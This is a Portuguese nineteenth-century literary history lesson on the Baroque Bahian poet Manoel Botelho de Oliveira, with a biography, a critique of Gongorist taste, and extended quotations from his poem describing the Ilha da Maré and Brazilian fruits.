MANOEL BOTELHO DE OLIVEIRA – poesia barroca na Terra Brasilis

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Cônego Fernandes Pinheiro (1825 – 1876)

CURSO DE LITERATURA NACIONAL

LIÇÃO XX

espécie lírica

A corrupção do gosto, que já assinalamos na introdução a esta época, e a fatal influência que a escola de Gongora exerceu sobre a poesia portuguesa, fizeram-se sentir de modo bem manifesto no gênero lírico e suas diversas espécies. Nenhum dos poetas desse período pode ser apontado como modelo, e não desejando nós multiplicar citações inúteis, mas antes oferecer à juventude uma grinalda das mais odoríferas flores da literatura nacional, emitimos essa plêiade de poetas gongoristas, cujo brilhante ouropel poderia fascinar as suas verdes imaginações. Abrimos uma única exceção em favor de um compatriota nosso, a quem cabe a honra de haver pri meiro feito ouvir as harmonias da musa brasileira, e cantado as produções do nosso solo, esmaltando seus versos com a cor local, o mais saliente distintivo das literaturas co-irmãs.

MANOEL BOTELHO DE OLIVEIRA

Natural da província da Bahia, nasceu no ano de 1636, e, havendo feito em sua pátria os estudos preparatórios, partiu para Coimbra, em cuja universidade se formou em jurisprudência, entregando-se com ardor em seus lazeres ao aperfeiçoamento da língua latina e ao estudo da italiana, assim como da espanhola, então muito em voga, e quase que exclusivamente empregada pela sociedade aristocrática.

Regressando ao seu país natal, consagrou-se Botelho de Oliveira à advocacia, em cujo exercício granjeou bem merecida reputação. À semelhança do ilustre doutor Antônio Ferreira, resfolegava da avidez dos processos no trato das musas, lembrando-se já septuagenário, de fazer o público confidente de suas impressões poéticas, e dos brincos da sua imaginação. Em 1703 remeteu para Lisboa um volume de composições suas, cujo título, por sesquipedal e extravagante, revela seu culto ao mau gosto da época. Obtidas as necessárias licenças, veio à luz em 1705 a — Música do Parnaso, divididi em quar tro coros de rimas portuguesas, castelhanas, italianas e latinas, com o seu descante cômico reduzido em duas comédias.

O generoso pensamento que o levou a publcar o seu livro transluz das seguintes palavras da dedicatória. "Nesta America inculta, habitação antigamente de bárbaros índios, mal se podia esperar que as Musas se fizessem brasileiras; conludo, quiseram também passar-se a este empório onde como a doçura de açúcar é tão simpática com a suavidade do seu canto, acharam muitos engenhos, que imitando os poetas de Itália e Espanha, se aplicassem a tão discreto entretenimento, para que não se queixasse esta última parte do mundo, que assim como Apolo lhe comunica os raios para os dias, lhe negasse as luzes para os entendimentos. Ao meu, posto que inferior aos de que é tão fértil este país, ditaram as Musas as presentes rimas que me resolvi expor à publicidade de todos para ao menos ser o primeiro filho do Brasil, que faça pública a suavidade do metro, já que o não sou em merecer cutro3 maiores créditos na poesia."

Não se enganava o nosso proto-poeta no conceito que formava de suavidade do seu metro, que realmente constitui um dos característicos da sua Música do Parnaso. Pena é que despendesse ele tanta erudição e tanta melodia em assuntes da maior futilidade e despidos de uma só dessas idéias luminosas que formam o maior interesse de uma produção poética. Nem menos censurável é a mania que se apossou do nosso benemérito conterrâneo de alardear o conhecimento que possuía de estranhos idiomas, acumulando rimas para em guindada frase exprimir sediços e balofos pensamentos.

Deparamos nessa volumosa coleção de versos com uma belíssima pintura da Ilha da Maré, que pode ser citada como um dos mais recomendáveis trechos da poesia nacional e cuja fluidez de frase, e colorido de imagens, acompanhados do verdadeiro estro patriótico, fez-nos considerá-la como pertencente

à espécie lírica, em que a classificamos, máxime por não crermos que possa haver um gênero exclusivamente descritivo.

Oferecendo alguns fragmentos dessa excelente prcdução de Botelho de Oliveira, desejamos mostrar que, apesar dos embaraços com que lutava, tendia a poesia brasileira a tomar uma fisionomia própria, aspirava um cunho de originalidade que ainda não pôde totalmente alcançar.

Admiremos este primoroso quadro que nos traça o poeta da sua predileta ilha:

Jaz em oblíqua forma e prolongada
A terra de Maré, toda cercada
De Netuno, que tendo o amor constante
Lhe dá muitos abraços por amante.
E botando-lhe os braços dentro dela
A pretende gozar per ser mui bela.

Nesta assistência tanto a senhoreia
E tanto a galante a,
Que do mar de Maré tem apelido,
Como quem preza o amor do seu querido,
E por gozar das prendas amorosas
Fica maré de rosas,
E vivendo nas ânsias sucessivas;
São d’amor marés vivas;
E se nas mortas menos a conhece
Maré de saudades lhe parece.

Vista por fora é pouco apetecida;
Porque aos olhos por feia e parecida,
Porém dentro habitada
E muito bela, e muito desejada,
E como a concha tosca e deslustrosa
Que dentro cria a pérola formosa:
Erguem-se nela outeiros
 
Com soberbas de montes altaneiros,

Que os vales por humildes desprezando
As presunções do mundo estão mostrando,
E querendo ser príncipes subidos
Ficam os va’es a seus pés rendidos.
Por um e outro lado,
Vários lenhos se vêem no mar salgado;
Uns vão buscando da cidade a via
Outros dela se vão com alegria
E na des gual ordem
Consiste a formosura na desordem.
Os pobres pescadores em saveiros
Em canoas ligeiros
Fazem com tanto abalo
Do trabalho marit’mo regalo,
Uns as redes estendem
E vários peixes, por pequenos prendem,

Que até nos peixes, com verdade pura,
Ser pequeno no mundo é desventura;
Outros no anzol fiados
Têm os míseros peixes enganados,
Que sempre da vil isca cobiçosos
Perdem a própria vida por gulosos.

Onde porém o nosso poeta se avantaja, e onde, quanto a nós, revelou mais o seu talento e fina observação, foi na delicada pintura que, com pincel rafaelesco, fez das frutas do Brasil. Depois de haver demonstrado que as do antigo continente, transplantadas para o nosso clima, tinham sobrepujado em beleza e sabor, prossegue nestes termos falando das que são indígenas:

E tratando das próprias, os coqueiros
Galhardos e frondosos
Criam coces gostosos,
E andou tão liberal a natureza
Que lhes deu por grandeza.

Não só para bebida mas sustento
O néctar doce, o cândido alimento;
De várias cores são os cajus belos,
Uns são vermelhos, outros amarelos,
E como vários são nas várias cores
Também se mostram vários nos sabores,
E criam a castanha,
Que é meihor que a de França, Itália, Espanha.

As pitangas fecundas
São na cor rubicunda
E no gosto picante comparadas,
São d’América ginjas disfarçadas,
As pitombas douradas, se as desejas,
São no gosto melhor do que as cerejas
E para terem o primor inteiro
A vantagem lhe levam pelo cheiro.

Os araçases grandes, ou pequenos,
Que na terra se criam mais ou menos;
Como as peras da Europa engrandecidas,
Como elas variamente parecidas,
Também se fazem delas
De várias castas marmeladas belas.

As bananas no mundo conhecidas
Por fruto e mantimento apetecidas,
Que o céu para regalo e passatempo,
Liberal as concede em todo o tempo,
Competem com maçãs, ou baonesas
Com peros verdeais, ou camoesas:
Também serve de pão aos moradores
Se da farinha faltam os favores;
É conduto também que dá sustento
Como se fosse próprio mantimento;
De sorte que por graça, ou por tributo
É fruto, é como pão, serve em conduto.

A pimenta elegante
É tanta, tão diversa e tão picante,
Para todo o tempero acomodada,
Que é muito avantajada
Por fresca, e por sadia,
A que n’Ásia se gera, a Europa cria.

O mamão por freqüente
Se cria vulgarmente
E não o preza o mundo,
Porque é muito vulgar em ser fecundo.

O maracujá também gostoso e frio
Entre as frutas merece nome e brio;
Tem nas pevides mais gostoso agrado
Do que açúcar rosado,
É belo cordial, e como é mole
Qual suave manjar todo se engole.

Vereis os ananases
Que para rei das frutas são capazes:
Vestem-se de escarlata
Com majestade grata
Que para ter do império a gravidade
Logram da coroa verde a majestade;

Mas quando têm a coroa levantada
De picantes espinhos adornada,
Nos mostram que entre reis, entre rainhas,
Não há coroa no mundo sem espinhas.

Este pomo celebra toda a gente
É muito mais que o pêssego excelente,
Pois lhe leva a ventagem gracioso
Por maior, por mais doce, e mais cheiroso.

Além das fruitas que esta terra cria
Também não faltam outras na Bahia;
A mangaba mimosa
Salpicada de tintas por formosa
Tem o cheiro famoso
Como se fora almíscar oloroso;

Produz-se no mato
Sem querer da cultura o duro trato,
Que como em si toda a bondade apura
Não quer dever aos homens a cultura.

Oh! que galharda fruita soberana
Sem ter indústria humana,
E se Jove as tirara dos pomares
Por ambrósia as pusera entre os manjares.
Com a mangaba bela a semelhança
Do macujé se alcança

Que também se produz no mato inculto
Por soberano indulto;
E sem fazer ao mel injusto agravo
Na boca se desfaz qual doce favo.

Nem menos mimosa é a descrição dos legumes brasileiros, distinguindo-se sobre todos:

A mandioca, que Tomé sagrado
Deu ao gentio amado,
Tem nas raízes a farinha oculta:
Que sempre o que é feliz se dificulta
E parece que a terra de amorosa
Se abraça com o seu fruito deleitosa;
Dela se faz com tanta atividade
A farinha que em fácil brevidade
No mesmo dia sem trabalho muito
Se arranca, se desfaz, se coze o fruto;
Dela se faz também com mais cuidado
O beju regalado

Que feito tenro por curioso amigo
Grande ventagem leva ao pão de trigo.

Esta descrição da Ilha da Maré, que talvez descuidadamente lançasse o poeta em um recanto do seu Parnaso, constitui o seu verdadeiro padrão de glória, elevando-o à categoria de patriarca da poesia brasileira, e um dos precursores dos Srs. Magalhães e Porto-Alegre.

Do aticismo de sua linguagem serve-lhe de brilhante testemunho a declaração de clássico com que o honrou a Academia Real das Ciências de Lisboa.

Fonte: editora Cátedra – MEC – 1978

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